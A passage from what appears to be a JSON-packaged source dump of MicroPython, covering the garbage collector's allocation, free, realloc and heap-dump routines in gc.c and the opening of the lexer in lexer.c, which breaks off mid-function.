size_t len) {\n    for (size_t i = 0; i < len; i++) {\n        void *ptr = ptrs[i];\n        VERIFY_MARK_AND_PUSH(ptr);\n        gc_drain_stack();\n    }\n}\n\nvoid gc_collect_end(void) {\n    gc_deal_with_stack_overflow();\n    gc_sweep();\n    MP_STATE_MEM(gc_last_free_atb_index) = 0;\n    MP_STATE_MEM(gc_lock_depth)--;\n    GC_EXIT();\n}\n\nvoid gc_info(gc_info_t *info) {\n    GC_ENTER();\n    info->total = MP_STATE_MEM(gc_pool_end) - MP_STATE_MEM(gc_pool_start);\n    info->used = 0;\n    info->free = 0;\n    info->max_free = 0;\n    info->num_1block = 0;\n    info->num_2block = 0;\n    info->max_block = 0;\n    bool finish = false;\n    for (size_t block = 0, len = 0, len_free = 0; !finish;) {\n        size_t kind = ATB_GET_KIND(block);\n        switch (kind) {\n            case AT_FREE:\n                info->free += 1;\n                len_free += 1;\n                len = 0;\n                break;\n\n            case AT_HEAD:\n                info->used += 1;\n                len = 1;\n                break;\n\n            case AT_TAIL:\n                info->used += 1;\n                len += 1;\n                break;\n\n            case AT_MARK:\n                // shouldn't happen\n                break;\n        }\n\n        block++;\n        finish = (block == MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB);\n        // Get next block type if possible\n        if (!finish) {\n            kind = ATB_GET_KIND(block);\n        }\n\n        if (finish || kind == AT_FREE || kind == AT_HEAD) {\n            if (len == 1) {\n                info->num_1block += 1;\n            } else if (len == 2) {\n                info->num_2block += 1;\n            }\n            if (len > info->max_block) {\n                info->max_block = len;\n            }\n            if (finish || kind == AT_HEAD) {\n                if (len_free > info->max_free) {\n                    info->max_free = len_free;\n                }\n                len_free = 0;\n            }\n        }\n    }\n\n    info->used *= BYTES_PER_BLOCK;\n    info->free *= BYTES_PER_BLOCK;\n    GC_EXIT();\n}\n\nvoid *gc_alloc(size_t n_bytes, bool has_finaliser) {\n    size_t n_blocks = ((n_bytes + BYTES_PER_BLOCK - 1) & (~(BYTES_PER_BLOCK - 1))) / BYTES_PER_BLOCK;\n    DEBUG_printf(\"gc_alloc(\" UINT_FMT \" bytes -> \" UINT_FMT \" blocks)\\n\", n_bytes, n_blocks);\n\n    // check for 0 allocation\n    if (n_blocks == 0) {\n        return NULL;\n    }\n\n    GC_ENTER();\n\n    // check if GC is locked\n    if (MP_STATE_MEM(gc_lock_depth) > 0) {\n        GC_EXIT();\n        return NULL;\n    }\n\n    size_t i;\n    size_t end_block;\n    size_t start_block;\n    size_t n_free = 0;\n    int collected = !MP_STATE_MEM(gc_auto_collect_enabled);\n\n    #if MICROPY_GC_ALLOC_THRESHOLD\n    if (!collected && MP_STATE_MEM(gc_alloc_amount) >= MP_STATE_MEM(gc_alloc_threshold)) {\n        GC_EXIT();\n        gc_collect();\n        GC_ENTER();\n    }\n    #endif\n\n    for (;;) {\n\n        // look for a run of n_blocks available blocks\n        for (i = MP_STATE_MEM(gc_last_free_atb_index); i < MP_STATE_MEM(gc_alloc_table_byte_len); i++) {\n            byte a = MP_STATE_MEM(gc_alloc_table_start)[i];\n            if (ATB_0_IS_FREE(a)) { if (++n_free >= n_blocks) { i = i * BLOCKS_PER_ATB + 0; goto found; } } else { n_free = 0; }\n            if (ATB_1_IS_FREE(a)) { if (++n_free >= n_blocks) { i = i * BLOCKS_PER_ATB + 1; goto found; } } else { n_free = 0; }\n            if (ATB_2_IS_FREE(a)) { if (++n_free >= n_blocks) { i = i * BLOCKS_PER_ATB + 2; goto found; } } else { n_free = 0; }\n            if (ATB_3_IS_FREE(a)) { if (++n_free >= n_blocks) { i = i * BLOCKS_PER_ATB + 3; goto found; } } else { n_free = 0; }\n        }\n\n        GC_EXIT();\n        // nothing found!\n        if (collected) {\n            return NULL;\n        }\n        DEBUG_printf(\"gc_alloc(\" UINT_FMT \"): no free mem, triggering GC\\n\", n_bytes);\n        gc_collect();\n        collected = 1;\n        GC_ENTER();\n    }\n\n    // found, ending at block i inclusive\nfound:\n    // get starting and end blocks, both inclusive\n    end_block = i;\n    start_block = i - n_free + 1;\n\n    // Set last free ATB index to block after last block we found, for start of\n    // next scan.  To reduce fragmentation, we only do this if we were looking\n    // for a single free block, which guarantees that there are no free blocks\n    // before this one.  Also, whenever we free or shink a block we must check\n    // if this index needs adjusting (see gc_realloc and gc_free).\n    if (n_free == 1) {\n        MP_STATE_MEM(gc_last_free_atb_index) = (i + 1) / BLOCKS_PER_ATB;\n    }\n\n    // mark first block as used head\n    ATB_FREE_TO_HEAD(start_block);\n\n    // mark rest of blocks as used tail\n    // TODO for a run of many blocks can make this more efficient\n    for (size_t bl = start_block + 1; bl <= end_block; bl++) {\n        ATB_FREE_TO_TAIL(bl);\n    }\n\n    // get pointer to first block\n    // we must create this pointer before unlocking the GC so a collection can find it\n    void *ret_ptr = (void*)(MP_STATE_MEM(gc_pool_start) + start_block * BYTES_PER_BLOCK);\n    DEBUG_printf(\"gc_alloc(%p)\\n\", ret_ptr);\n\n    #if MICROPY_GC_ALLOC_THRESHOLD\n    MP_STATE_MEM(gc_alloc_amount) += n_blocks;\n    #endif\n\n    GC_EXIT();\n\n    #if MICROPY_GC_CONSERVATIVE_CLEAR\n    // be conservative and zero out all the newly allocated blocks\n    memset((byte*)ret_ptr, 0, (end_block - start_block + 1) * BYTES_PER_BLOCK);\n    #else\n    // zero out the additional bytes of the newly allocated blocks\n    // This is needed because the blocks may have previously held pointers\n    // to the heap and will not be set to something else if the caller\n    // doesn't actually use the entire block.  As such they will continue\n    // to point to the heap and may prevent other blocks from being reclaimed.\n    memset((byte*)ret_ptr + n_bytes, 0, (end_block - start_block + 1) * BYTES_PER_BLOCK - n_bytes);\n    #endif\n\n    #if MICROPY_ENABLE_FINALISER\n    if (has_finaliser) {\n        // clear type pointer in case it is never set\n        ((mp_obj_base_t*)ret_ptr)->type = NULL;\n        // set mp_obj flag only if it has a finaliser\n        GC_ENTER();\n        FTB_SET(start_block);\n        GC_EXIT();\n    }\n    #else\n    (void)has_finaliser;\n    #endif\n\n    #if EXTENSIVE_HEAP_PROFILING\n    gc_dump_alloc_table();\n    #endif\n\n    return ret_ptr;\n}\n\n/*\nvoid *gc_alloc(mp_uint_t n_bytes) {\n    return _gc_alloc(n_bytes, false);\n}\n\nvoid *gc_alloc_with_finaliser(mp_uint_t n_bytes) {\n    return _gc_alloc(n_bytes, true);\n}\n*/\n\n// force the freeing of a piece of memory\n// TODO: freeing here does not call finaliser\nvoid gc_free(void *ptr) {\n    GC_ENTER();\n    if (MP_STATE_MEM(gc_lock_depth) > 0) {\n        // TODO how to deal with this error?\n        GC_EXIT();\n        return;\n    }\n\n    DEBUG_printf(\"gc_free(%p)\\n\", ptr);\n\n    if (ptr == NULL) {\n        GC_EXIT();\n    } else {\n        // get the GC block number corresponding to this pointer\n        assert(VERIFY_PTR(ptr));\n        size_t block = BLOCK_FROM_PTR(ptr);\n        assert(ATB_GET_KIND(block) == AT_HEAD);\n\n        #if MICROPY_ENABLE_FINALISER\n        FTB_CLEAR(block);\n        #endif\n\n        // set the last_free pointer to this block if it's earlier in the heap\n        if (block / BLOCKS_PER_ATB < MP_STATE_MEM(gc_last_free_atb_index)) {\n            MP_STATE_MEM(gc_last_free_atb_index) = block / BLOCKS_PER_ATB;\n        }\n\n        // free head and all of its tail blocks\n        do {\n            ATB_ANY_TO_FREE(block);\n            block += 1;\n        } while (ATB_GET_KIND(block) == AT_TAIL);\n\n        GC_EXIT();\n\n        #if EXTENSIVE_HEAP_PROFILING\n        gc_dump_alloc_table();\n        #endif\n    }\n}\n\nsize_t gc_nbytes(const void *ptr) {\n    GC_ENTER();\n    if (VERIFY_PTR(ptr)) {\n        size_t block = BLOCK_FROM_PTR(ptr);\n        if (ATB_GET_KIND(block) == AT_HEAD) {\n            // work out number of consecutive blocks in the chain starting with this on\n            size_t n_blocks = 0;\n            do {\n                n_blocks += 1;\n            } while (ATB_GET_KIND(block + n_blocks) == AT_TAIL);\n            GC_EXIT();\n            return n_blocks * BYTES_PER_BLOCK;\n        }\n    }\n\n    // invalid pointer\n    GC_EXIT();\n    return 0;\n}\n\n#if 0\n// old, simple realloc that didn't expand memory in place\nvoid *gc_realloc(void *ptr, mp_uint_t n_bytes) {\n    mp_uint_t n_existing = gc_nbytes(ptr);\n    if (n_bytes <= n_existing) {\n        return ptr;\n    } else {\n        bool has_finaliser;\n        if (ptr == NULL) {\n            has_finaliser = false;\n        } else {\n#if MICROPY_ENABLE_FINALISER\n            has_finaliser = FTB_GET(BLOCK_FROM_PTR((mp_uint_t)ptr));\n#else\n            has_finaliser = false;\n#endif\n        }\n        void *ptr2 = gc_alloc(n_bytes, has_finaliser);\n        if (ptr2 == NULL) {\n            return ptr2;\n        }\n        memcpy(ptr2, ptr, n_existing);\n        gc_free(ptr);\n        return ptr2;\n    }\n}\n\n#else // Alternative gc_realloc impl\n\nvoid *gc_realloc(void *ptr_in, size_t n_bytes, bool allow_move) {\n    // check for pure allocation\n    if (ptr_in == NULL) {\n        return gc_alloc(n_bytes, false);\n    }\n\n    // check for pure free\n    if (n_bytes == 0) {\n        gc_free(ptr_in);\n        return NULL;\n    }\n\n    void *ptr = ptr_in;\n\n    // sanity check the ptr\n    if (!VERIFY_PTR(ptr)) {\n        return NULL;\n    }\n\n    // get first block\n    size_t block = BLOCK_FROM_PTR(ptr);\n\n    GC_ENTER();\n\n    // sanity check the ptr is pointing to the head of a block\n    if (ATB_GET_KIND(block) != AT_HEAD) {\n        GC_EXIT();\n        return NULL;\n    }\n\n    if (MP_STATE_MEM(gc_lock_depth) > 0) {\n        GC_EXIT();\n        return NULL;\n    }\n\n    // compute number of new blocks that are requested\n    size_t new_blocks = (n_bytes + BYTES_PER_BLOCK - 1) / BYTES_PER_BLOCK;\n\n    // Get the total number of consecutive blocks that are already allocated to\n    // this chunk of memory, and then count the number of free blocks following\n    // it.  Stop if we reach the end of the heap, or if we find enough extra\n    // free blocks to satisfy the realloc.  Note that we need to compute the\n    // total size of the existing memory chunk so we can correctly and\n    // efficiently shrink it (see below for shrinking code).\n    size_t n_free   = 0;\n    size_t n_blocks = 1; // counting HEAD block\n    size_t max_block = MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB;\n    for (size_t bl = block + n_blocks; bl < max_block; bl++) {\n        byte block_type = ATB_GET_KIND(bl);\n        if (block_type == AT_TAIL) {\n            n_blocks++;\n            continue;\n        }\n        if (block_type == AT_FREE) {\n            n_free++;\n            if (n_blocks + n_free >= new_blocks) {\n                // stop as soon as we find enough blocks for n_bytes\n                break;\n            }\n            continue;\n        }\n        break;\n    }\n\n    // return original ptr if it already has the requested number of blocks\n    if (new_blocks == n_blocks) {\n        GC_EXIT();\n        return ptr_in;\n    }\n\n    // check if we can shrink the allocated area\n    if (new_blocks < n_blocks) {\n        // free unneeded tail blocks\n        for (size_t bl = block + new_blocks, count = n_blocks - new_blocks; count > 0; bl++, count--) {\n            ATB_ANY_TO_FREE(bl);\n        }\n\n        // set the last_free pointer to end of this block if it's earlier in the heap\n        if ((block + new_blocks) / BLOCKS_PER_ATB < MP_STATE_MEM(gc_last_free_atb_index)) {\n            MP_STATE_MEM(gc_last_free_atb_index) = (block + new_blocks) / BLOCKS_PER_ATB;\n        }\n\n        GC_EXIT();\n\n        #if EXTENSIVE_HEAP_PROFILING\n        gc_dump_alloc_table();\n        #endif\n\n        return ptr_in;\n    }\n\n    // check if we can expand in place\n    if (new_blocks <= n_blocks + n_free) {\n        // mark few more blocks as used tail\n        for (size_t bl = block + n_blocks; bl < block + new_blocks; bl++) {\n            assert(ATB_GET_KIND(bl) == AT_FREE);\n            ATB_FREE_TO_TAIL(bl);\n        }\n\n        GC_EXIT();\n\n        #if MICROPY_GC_CONSERVATIVE_CLEAR\n        // be conservative and zero out all the newly allocated blocks\n        memset((byte*)ptr_in + n_blocks * BYTES_PER_BLOCK, 0, (new_blocks - n_blocks) * BYTES_PER_BLOCK);\n        #else\n        // zero out the additional bytes of the newly allocated blocks (see comment above in gc_alloc)\n        memset((byte*)ptr_in + n_bytes, 0, new_blocks * BYTES_PER_BLOCK - n_bytes);\n        #endif\n\n        #if EXTENSIVE_HEAP_PROFILING\n        gc_dump_alloc_table();\n        #endif\n\n        return ptr_in;\n    }\n\n    #if MICROPY_ENABLE_FINALISER\n    bool ftb_state = FTB_GET(block);\n    #else\n    bool ftb_state = false;\n    #endif\n\n    GC_EXIT();\n\n    if (!allow_move) {\n        // not allowed to move memory block so return failure\n        return NULL;\n    }\n\n    // can't resize inplace; try to find a new contiguous chain\n    void *ptr_out = gc_alloc(n_bytes, ftb_state);\n\n    // check that the alloc succeeded\n    if (ptr_out == NULL) {\n        return NULL;\n    }\n\n    DEBUG_printf(\"gc_realloc(%p -> %p)\\n\", ptr_in, ptr_out);\n    memcpy(ptr_out, ptr_in, n_blocks * BYTES_PER_BLOCK);\n    gc_free(ptr_in);\n    return ptr_out;\n}\n#endif // Alternative gc_realloc impl\n\nvoid gc_dump_info(void) {\n    gc_info_t info;\n    gc_info(&info);\n    mp_printf(&mp_plat_print, \"GC: total: %u, used: %u, free: %u\\n\",\n        (uint)info.total, (uint)info.used, (uint)info.free);\n    mp_printf(&mp_plat_print, \" No. of 1-blocks: %u, 2-blocks: %u, max blk sz: %u, max free sz: %u\\n\",\n           (uint)info.num_1block, (uint)info.num_2block, (uint)info.max_block, (uint)info.max_free);\n}\n\nvoid gc_dump_alloc_table(void) {\n    GC_ENTER();\n    static const size_t DUMP_BYTES_PER_LINE = 64;\n    #if !EXTENSIVE_HEAP_PROFILING\n    // When comparing heap output we don't want to print the starting\n    // pointer of the heap because it changes from run to run.\n    mp_printf(&mp_plat_print, \"GC memory layout; from %p:\", MP_STATE_MEM(gc_pool_start));\n    #endif\n    for (size_t bl = 0; bl < MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB; bl++) {\n        if (bl % DUMP_BYTES_PER_LINE == 0) {\n            // a new line of blocks\n            {\n                // check if this line contains only free blocks\n                size_t bl2 = bl;\n                while (bl2 < MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB && ATB_GET_KIND(bl2) == AT_FREE) {\n                    bl2++;\n                }\n                if (bl2 - bl >= 2 * DUMP_BYTES_PER_LINE) {\n                    // there are at least 2 lines containing only free blocks, so abbreviate their printing\n                    mp_printf(&mp_plat_print, \"\\n       (%u lines all free)\", (uint)(bl2 - bl) / DUMP_BYTES_PER_LINE);\n                    bl = bl2 & (~(DUMP_BYTES_PER_LINE - 1));\n                    if (bl >= MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB) {\n                        // got to end of heap\n                        break;\n                    }\n                }\n            }\n            // print header for new line of blocks\n            // (the cast to uint32_t is for 16-bit ports)\n            //mp_printf(&mp_plat_print, \"\\n%05x: \", (uint)(PTR_FROM_BLOCK(bl) & (uint32_t)0xfffff));\n            mp_printf(&mp_plat_print, \"\\n%05x: \", (uint)((bl * BYTES_PER_BLOCK) & (uint32_t)0xfffff));\n        }\n        int c = ' ';\n        switch (ATB_GET_KIND(bl)) {\n            case AT_FREE: c = '.'; break;\n            /* this prints out if the object is reachable from BSS or STACK (for unix only)\n            case AT_HEAD: {\n                c = 'h';\n                void **ptrs = (void**)(void*)&mp_state_ctx;\n                mp_uint_t len = offsetof(mp_state_ctx_t, vm.stack_top) / sizeof(mp_uint_t);\n                for (mp_uint_t i = 0; i < len; i++) {\n                    mp_uint_t ptr = (mp_uint_t)ptrs[i];\n                    if (VERIFY_PTR(ptr) && BLOCK_FROM_PTR(ptr) == bl) {\n                        c = 'B';\n                        break;\n                    }\n                }\n                if (c == 'h') {\n                    ptrs = (void**)&c;\n                    len = ((mp_uint_t)MP_STATE_THREAD(stack_top) - (mp_uint_t)&c) / sizeof(mp_uint_t);\n                    for (mp_uint_t i = 0; i < len; i++) {\n                        mp_uint_t ptr = (mp_uint_t)ptrs[i];\n                        if (VERIFY_PTR(ptr) && BLOCK_FROM_PTR(ptr) == bl) {\n                            c = 'S';\n                            break;\n                        }\n                    }\n                }\n                break;\n            }\n            */\n            /* this prints the uPy object type of the head block */\n            case AT_HEAD: {\n                void **ptr = (void**)(MP_STATE_MEM(gc_pool_start) + bl * BYTES_PER_BLOCK);\n                if (*ptr == &mp_type_tuple) { c = 'T'; }\n                else if (*ptr == &mp_type_list) { c = 'L'; }\n                else if (*ptr == &mp_type_dict) { c = 'D'; }\n                else if (*ptr == &mp_type_str || *ptr == &mp_type_bytes) { c = 'S'; }\n                #if MICROPY_PY_BUILTINS_BYTEARRAY\n                else if (*ptr == &mp_type_bytearray) { c = 'A'; }\n                #endif\n                #if MICROPY_PY_ARRAY\n                else if (*ptr == &mp_type_array) { c = 'A'; }\n                #endif\n                #if MICROPY_PY_BUILTINS_FLOAT\n                else if (*ptr == &mp_type_float) { c = 'F'; }\n                #endif\n                else if (*ptr == &mp_type_fun_bc) { c = 'B'; }\n                else if (*ptr == &mp_type_module) { c = 'M'; }\n                else {\n                    c = 'h';\n                    #if 0\n                    // This code prints \"Q\" for qstr-pool data, and \"q\" for qstr-str\n                    // data.  It can be useful to see how qstrs are being allocated,\n                    // but is disabled by default because it is very slow.\n                    for (qstr_pool_t *pool = MP_STATE_VM(last_pool); c == 'h' && pool != NULL; pool = pool->prev) {\n                        if ((qstr_pool_t*)ptr == pool) {\n                            c = 'Q';\n                            break;\n                        }\n                        for (const byte **q = pool->qstrs, **q_top = pool->qstrs + pool->len; q < q_top; q++) {\n                            if ((const byte*)ptr == *q) {\n                                c = 'q';\n                                break;\n                            }\n                        }\n                    }\n                    #endif\n                }\n                break;\n            }\n            case AT_TAIL: c = '='; break;\n            case AT_MARK: c = 'm'; break;\n        }\n        mp_printf(&mp_plat_print, \"%c\", c);\n    }\n    mp_print_str(&mp_plat_print, \"\\n\");\n    GC_EXIT();\n}\n\n#if DEBUG_PRINT\nvoid gc_test(void) {\n    mp_uint_t len = 500;\n    mp_uint_t *heap = malloc(len);\n    gc_init(heap, heap + len / sizeof(mp_uint_t));\n    void *ptrs[100];\n    {\n        mp_uint_t **p = gc_alloc(16, false);\n        p[0] = gc_alloc(64, false);\n        p[1] = gc_alloc(1, false);\n        p[2] = gc_alloc(1, false);\n        p[3] = gc_alloc(1, false);\n        mp_uint_t ***p2 = gc_alloc(16, false);\n        p2[0] = p;\n        p2[1] = p;\n        ptrs[0] = p2;\n    }\n    for (int i = 0; i < 25; i+=2) {\n        mp_uint_t *p = gc_alloc(i, false);\n        printf(\"p=%p\\n\", p);\n        if (i & 3) {\n            //ptrs[i] = p;\n        }\n    }\n\n    printf(\"Before GC:\\n\");\n    gc_dump_alloc_table();\n    printf(\"Starting GC...\\n\");\n    gc_collect_start();\n    gc_collect_root(ptrs, sizeof(ptrs) / sizeof(void*));\n    gc_collect_end();\n    printf(\"After GC:\\n\");\n    gc_dump_alloc_table();\n}\n#endif\n\n#endif // MICROPY_ENABLE_GC\n"
  },
  {
    "path": "micropython/source/py/lexer.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/mpstate.h\"\n#include \"py/reader.h\"\n#include \"py/lexer.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_ENABLE_COMPILER\n\n#define TAB_SIZE (8)\n\n// TODO seems that CPython allows NULL byte in the input stream\n// don't know if that's intentional or not, but we don't allow it\n\n#define MP_LEXER_EOF ((unichar)MP_READER_EOF)\n#define CUR_CHAR(lex) ((lex)->chr0)\n\nSTATIC bool is_end(mp_lexer_t *lex) {\n    return lex->chr0 == MP_LEXER_EOF;\n}\n\nSTATIC bool is_physical_newline(mp_lexer_t *lex) {\n    return lex->chr0 == '\\n';\n}\n\nSTATIC bool is_char(mp_lexer_t *lex, byte c) {\n    return lex->chr0 == c;\n}\n\nSTATIC bool is_char_or(mp_lexer_t *lex, byte c1, byte c2) {\n    return lex->chr0 == c1 || lex->chr0 == c2;\n}\n\nSTATIC bool is_char_or3(mp_lexer_t *lex, byte c1, byte c2, byte c3) {\n    return lex->chr0 == c1 || lex->chr0 == c2 || lex->chr0 == c3;\n}\n\nSTATIC bool is_char_following(mp_lexer_t *lex, byte c) {\n    return lex->chr1 == c;\n}\n\nSTATIC bool is_char_following_or(mp_lexer_t *lex, byte c1, byte c2) {\n    return lex->chr1 == c1 || lex->chr1 == c2;\n}\n\nSTATIC bool is_char_following_following_or(mp_lexer_t *lex, byte c1, byte c2) {\n    return lex->chr2 == c1 || lex->chr2 == c2;\n}\n\nSTATIC bool is_char_and(mp_lexer_t *lex, byte c1, byte c2) {\n    return lex->chr0 == c1 && lex->chr1 == c2;\n}\n\nSTATIC bool is_whitespace(mp_lexer_t *lex) {\n    return unichar_isspace(lex->chr0);\n}\n\nSTATIC bool is_letter(mp_lexer_t *lex) {\n    return unichar_isalpha(lex->chr0);\n}\n\nSTATIC bool is_digit(mp_lexer_t *lex) {\n    return unichar_isdigit(lex->chr0);\n}\n\nSTATIC bool is_following_digit(mp_lexer_t *lex) {\n    return unichar_isdigit(lex->chr1);\n}\n\nSTATIC bool is_following_base_char(mp_lexer_t *lex) {\n    const unichar chr1 = lex->chr1 | 0x20;\n    return chr1 == 'b' || chr1 == 'o' || chr1 == 'x';\n}\n\nSTATIC bool is_following_odigit(mp_lexer_t *lex) {\n    return lex->chr1 >= '0' && lex->chr1 <= '7';\n}\n\nSTATIC bool is_string_or_bytes(mp_lexer_t *lex) {\n    return is_char_or(lex, '\\'', '\\\"')\n        || (is_char_or3(lex, 'r', 'u', 'b') && is_char_following_or(lex, '\\'', '\\\"'))\n        || ((is_char_and(lex, 'r', 'b') || is_char_and(lex, 'b', 'r'))\n            && is_char_following_following_or(lex, '\\'', '\\\"'));\n}\n\n// to easily parse utf-8 identifiers we allow any raw byte with high bit set\nSTATIC bool is_head_of_identifier(mp_lexer_t *lex) {\n    return is_letter(lex) || lex->chr0 == '_' || lex->chr0 >= 0x80;\n}\n\nSTATIC bool is_tail_of_identifier(mp_lexer_t *lex) {\n    return is_head_of_identifier(lex) || is_digit(lex);\n}\n\nSTATIC void next_char(mp_lexer_t *lex) {\n    if (lex->chr0 == '\\n') {\n        // a new line\n        ++lex->line;\n        lex->column = 1;\n    } else if (lex->chr0 == '\\t') {\n        // a tab\n        lex->column = (((lex->column - 1 + TAB_SIZE) / TAB_SIZE) * TAB_SIZE) + 1;\n    } else {\n        // a character worth one column\n        ++lex->column;\n    }\n\n    lex->chr0 = lex->chr1;\n    lex->chr1 = lex->chr2;\n    lex->chr2 = lex->reader.readbyte(lex->reader.data);\n\n    if (lex->chr1 == '\\r') {\n        // CR is a new line, converted to LF\n        lex->chr1 = '\\n';\n        if (lex->chr2 == '\\n') {\n            // CR LF is a single new line, throw out the extra LF\n            lex->chr2 = lex->reader.readbyte(lex->reader.data);\n        }\n    }\n\n    // check if we need to insert a newline at end of file\n    if (lex->chr2 == MP_LEXER_EOF && lex->chr1 != MP_LEXER_EOF && lex->chr1 != '\\n') {\n        lex->chr2 = '\\n';\n    }\n}\n\nSTATIC void indent_push(mp_lexer_t *lex, size_t indent) {\n    if (lex->num_indent_level >= lex->alloc_indent_level) {\n        lex->indent_level = m_renew(uint16_t, lex->indent_level, lex->alloc_indent_level, lex->alloc_indent_level + MICROPY_ALLOC_LEXEL_INDENT_INC);\n        lex->alloc_indent_level += MICROPY_ALLOC_LEXEL_INDENT_INC;\n    }\n    lex->indent_level[lex->num_indent_level++] = indent;\n}\n\nSTATIC size_t indent_top(mp_lexer_t *lex) {\n    return lex->indent_level[lex->num_indent_level - 1];\n}\n\nSTATIC void indent_pop(mp_lexer_t *lex) {\n    lex->num_indent_level -= 1;\n}\n\n// some tricky operator encoding:\n//     <op>  = begin with <op>, if this opchar matches then begin here\n//     e<op> = end with <op>, if this opchar matches then end\n//     c<op> = continue with <op>, if this opchar matches then continue matching\n// this means if the start of two ops are the same then they are equal til the last char\n\nSTATIC const char *const tok_enc =\n    \"()[]{},:;@~\" // singles\n    \"<e=c<e=\"     // < <= << <<=\n    \">e=c>e=\"     // > >= >> >>=\n    \"*e=c*e=\"     // * *= ** **=\n    \"+e=\"         // + +=\n    \"-e=e>\"       // - -= ->\n    \"&e=\"         // & &=\n    \"|e=\"         // | |=\n    \"/e=c/e=\"     // / /= // //=\n    \"%e=\"         // % %=\n    \"^e=\"         // ^ ^=\n    \"=e=\"         // = ==\n    \"!.\";         // start of special cases: != . ...\n\n// TODO static assert that number of tokens is less than 256 so we can safely make this table with byte sized entries\nSTATIC const uint8_t tok_enc_kind[] = {\n    MP_TOKEN_DEL_PAREN_OPEN, MP_TOKEN_DEL_PAREN_CLOSE,\n    MP_TOKEN_DEL_BRACKET_OPEN, MP_TOKEN_DEL_BRACKET_CLOSE,\n    MP_TOKEN_DEL_BRACE_OPEN, MP_TOKEN_DEL_BRACE_CLOSE,\n    MP_TOKEN_DEL_COMMA, MP_TOKEN_DEL_COLON, MP_TOKEN_DEL_SEMICOLON, MP_TOKEN_DEL_AT, MP_TOKEN_OP_TILDE,\n\n    MP_TOKEN_OP_LESS, MP_TOKEN_OP_LESS_EQUAL, MP_TOKEN_OP_DBL_LESS, MP_TOKEN_DEL_DBL_LESS_EQUAL,\n    MP_TOKEN_OP_MORE, MP_TOKEN_OP_MORE_EQUAL, MP_TOKEN_OP_DBL_MORE, MP_TOKEN_DEL_DBL_MORE_EQUAL,\n    MP_TOKEN_OP_STAR, MP_TOKEN_DEL_STAR_EQUAL, MP_TOKEN_OP_DBL_STAR, MP_TOKEN_DEL_DBL_STAR_EQUAL,\n    MP_TOKEN_OP_PLUS, MP_TOKEN_DEL_PLUS_EQUAL,\n    MP_TOKEN_OP_MINUS, MP_TOKEN_DEL_MINUS_EQUAL, MP_TOKEN_DEL_MINUS_MORE,\n    MP_TOKEN_OP_AMPERSAND, MP_TOKEN_DEL_AMPERSAND_EQUAL,\n    MP_TOKEN_OP_PIPE, MP_TOKEN_DEL_PIPE_EQUAL,\n    MP_TOKEN_OP_SLASH, MP_TOKEN_DEL_SLASH_EQUAL, MP_TOKEN_OP_DBL_SLASH, MP_TOKEN_DEL_DBL_SLASH_EQUAL,\n    MP_TOKEN_OP_PERCENT, MP_TOKEN_DEL_PERCENT_EQUAL,\n    MP_TOKEN_OP_CARET, MP_TOKEN_DEL_CARET_EQUAL,\n    MP_TOKEN_DEL_EQUAL, MP_TOKEN_OP_DBL_EQUAL,\n};\n\n// must have the same order as enum in lexer.h\n// must be sorted according to strcmp\nSTATIC const char *const tok_kw[] = {\n    \"False\",\n    \"None\",\n    \"True\",\n    \"__debug__\",\n    \"and\",\n    \"as\",\n    \"assert\",\n    #if MICROPY_PY_ASYNC_AWAIT\n    \"async\",\n    \"await\",\n    #endif\n    \"break\",\n    \"class\",\n    \"continue\",\n    \"def\",\n    \"del\",\n    \"elif\",\n    \"else\",\n    \"except\",\n    \"finally\",\n    \"for\",\n    \"from\",\n    \"global\",\n    \"if\",\n    \"import\",\n    \"in\",\n    \"is\",\n    \"lambda\",\n    \"nonlocal\",\n    \"not\",\n    \"or\",\n    \"pass\",\n    \"raise\",\n    \"return\",\n    \"try\",\n    \"while\",\n    \"with\",\n    \"yield\",\n};\n\n// This is called with CUR_CHAR() before first hex digit, and should return with\n// it pointing to last hex digit\n// num_digits must be greater than zero\nSTATIC bool get_hex(mp_lexer_t *lex, size_t num_digits, mp_uint_t *result) {\n    mp_uint_t num = 0;\n    while (num_digits-- != 0) {\n        next_char(lex);\n        unichar c = CUR_CHAR(lex);\n        if (!unichar_isxdigit(c)) {\n            return false;\n        }\n        num = (num << 4) + unichar_xdigit_value(c);\n    }\n    *result = num;\n    return true;\n}\n\nSTATIC void parse_string_literal(mp_lexer_t *lex, bool is_raw) {\n    // get first quoting character\n    char quote_char = '\\'';\n    if (is_char(lex, '\\\"')) {\n        quote_char = '\\\"';\n    }\n    next_char(lex);\n\n    // work out if it's a single or triple quoted literal\n    size_t num_quotes;\n    if (is_char_and(lex, quote_char, quote_char)) {\n        // triple quotes\n        next_char(lex);\n        next_char(lex);\n        num_quotes = 3;\n    } else {\n        // single quotes\n        num_quotes = 1;\n    }\n\n    size_t n_closing = 0;\n    while (!is_end(lex) && (num_quotes > 1 || !is_char(lex, '\\n')) && n_closing < num_quotes) {\n        if (is_char(lex, quote_char)) {\n            n_closing += 1;\n            vstr_add_char(&lex->vstr, CUR_CHAR(lex));\n        } else {\n            n_closing = 0;\n            if (is_char(lex, '\\\\')) {\n                next_char(lex);\n                unichar c = 